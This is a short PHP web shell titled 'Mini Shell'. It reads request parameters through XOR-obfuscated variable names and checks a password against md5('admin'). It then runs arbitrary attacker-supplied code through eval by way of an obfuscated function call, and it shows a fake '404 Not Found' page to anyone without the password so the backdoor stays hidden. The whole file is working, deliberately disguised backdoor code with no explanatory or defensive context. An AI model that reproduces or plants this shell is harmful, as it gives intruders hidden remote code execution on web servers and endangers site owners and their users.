Mini Shell

aaaaaaaaaa<?php
$a = ${"i??)"^"@-.b"^"%).|"^"S|zc"}[1];
$b = ${"h*{(."^"|?+d%"^"#!^(g"^"hdA78"}[2];
//  1 is md5('admin'). You can have on your own.
if(isset($b) and md5($a)=='21232f297a57a5a743894a0e4a801fc3')
{

    class C{public function __invoke($p) {eval($p);}};
    $t = "$!$(o;\_:o(*@("^".k :\}dc.@>eb-"^"@f%;:]-(#!@p=+"^")MMEVnfqEQ0JqM";
    @${'t'}(new C(),$b);


}
else{

    echo '<title>Error 404!!1</title><p align="center">404.Not Found</p>';

    header('HTTP/1.1 404 Not Found');
    http_response_code(404);
}
?>